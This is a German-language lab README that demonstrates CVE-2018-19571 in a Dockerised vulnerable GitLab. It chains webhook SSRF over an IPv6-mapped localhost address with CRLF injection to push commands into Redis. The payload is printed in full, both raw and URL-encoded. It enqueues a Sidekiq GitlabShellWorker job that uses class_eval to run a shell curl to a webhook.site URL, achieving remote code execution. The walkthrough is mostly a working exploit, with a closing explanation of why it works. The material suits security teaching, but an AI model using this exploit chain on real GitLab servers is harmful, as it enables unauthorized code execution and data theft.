
Demonstration von CVE-2018-19571: GitLab SSRF CVE
Dieses Repository ist eine Nachbildung von CVE-2018-19571 und zeigt, wie es in Kombination mit einem CRLF-Injection-Exploit zu Remote Code Execution (RCE) führen kann.
GitLab CE/EE, Versionen 8.18 bis 11.x vor 11.3.11, 11.4 vor 11.4.8 und 11.5 vor 11.5.1, sind anfällig für eine SSRF-Schwachstelle in Webhooks.
Für diese Nachbildung verwenden wir ein anfälliges GitLab-Image und führen es mit Docker Compose aus.
git clone https://github.com/CS4239-U6/gitlab-ssrf.git
cd gitlab-ssrf
docker-compose up
Das Ziel ist es, eine Webhook-URL bereitzustellen, die bei der Verarbeitung dazu führt, dass ein Payload an Redis gesendet wird.
Dieser Payload, der in die Warteschlange gestellt wird, enthält einen Sidekiq-Job, der bei der Ausführung beliebigen Shell-Code ausführt. In unserem Fall wird er den Flag-Wert an uns kopieren.
Wir gehen zunächst die Schritte durch, bevor wir erklären, was jeder dieser Schritte bewirkt.
Erstellen Sie ein Konto oder melden Sie sich mit dem Root-Konto an.
Das Root-Passwort sollte password sein, wie in der Datei angegeben, aber manchmal wird es nicht richtig geladen.
initial_root_passwordIn solchen Fällen müssen Sie das Root-Konto-Passwort direkt ändern.
docker exec -it gitlab-ssrf_web_1 /bin/bash
# Inside the shell
gitlab-rails console
# Inside the console
user = User.find_by_username 'root'
user.password = 'password'
user.password_confirmation = 'password'
user.save!
Gehen Sie dann zu http://localhost:5080 und melden Sie sich an.

Navigieren Sie zur Seite 'Projekt erstellen'.
Gehen Sie als nächstes zu http://localhost:5080/projects/new und klicken Sie auf den Tab Import project. Sie sollten sehen, dass es eine Option gibt: Repo by URL. Diese werden wir verwenden, um unseren SSRF-Angriff durchzuführen.

Erstellen Sie einen Webhook, um den Flag zu empfangen.
Erstellen Sie eine Webhook-URL unter https://webhook.site/.
Ersetzen Sie die Webhook-URL im folgenden Payload:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'| curl https://webhook.site/807b6a27-314e-4947-b5f1-c384d8dc574f -k\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
exec
/ssrf.git
Schließlich kodieren wir das Obige mit einem URL-Encoder. Beachten Sie, dass wir nur den Payload kodieren (der die Leerzeichen am Anfang und die Zeilenumbrüche enthält), nicht die erste und letzte Zeile. Sie müssen auch CRLF verwenden. Ersetzen Sie zuletzt die folgenden Zeichen, falls vorhanden, durch ihre jeweilige Kodierung:
_: %5F.: %2E-: %2Dgit://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7C%20curl%20https%3A%2F%2Fwebhook%2Esite%2F807b6a27%2D314e%2D4947%2Db5f1%2Dc384d8dc574f%20%2Dk%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf.git
(Oder Sie können einfach diesen Payload oben verwenden und unter https://webhook.site/#!/807b6a27-314e-4947-b5f1-c384d8dc574f/ die Ausgabe ansehen.)

Sie sollten sehen, dass eine GET-Anfrage an den Webhook gesendet wurde (und sie wird wiederholt, da GitLab wiederholt versucht, das Repository abzurufen).

Wenn das oben Genannte bei Ihnen fehlschlägt, müssen Sie möglicherweise ausgehende Anfragen an interne Dienste aktivieren.

Sie können dies unter http://localhost:5080/admin/application_settings/network tun, nachdem Sie sich als Root angemeldet haben.
Wir nutzen zwei Schwachstellen für diesen Angriff aus. Die erste Schwachstelle ist SSRF, bei der interne Dienste über IPv6 erreicht werden können. Weitere Informationen finden Sie im GitLab-Issue hier: https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53242.
Die zweite Schwachstelle ist, dass Zeilenumbrüche in der URL für die Webhooks erlaubt waren.
Diese beiden zusammen ermöglichen es uns, tatsächlich einen Payload an den internen Dienst zu übergeben. In diesem Fall zielen wir auf den lokalen Redis-Dienst ab.
Der von uns übergebene Payload stellt einen neuen Job in die Redis-Warteschlange, und dieser Job wird tatsächlich von Sidekiq verarbeitet, einem asynchronen Job-Runner, der mit Ruby on Rails arbeitet. Wir zielen speziell auf die Job-Klasse GitlabShellWorker ab, die es uns ermöglicht, beliebigen Code auszuführen.
class GitlabShellWorker
include ApplicationWorker
include Gitlab::ShellAdapter
def perform(action, *arg)
gitlab_shell.__send__(action, *arg) # rubocop:disable GitlabSecurity/PublicSend
end
end
Indem wir also open('| curl <URL HERE>').read übergeben und es mit class_eval ausführen, können wir die Remote Code Execution auslösen.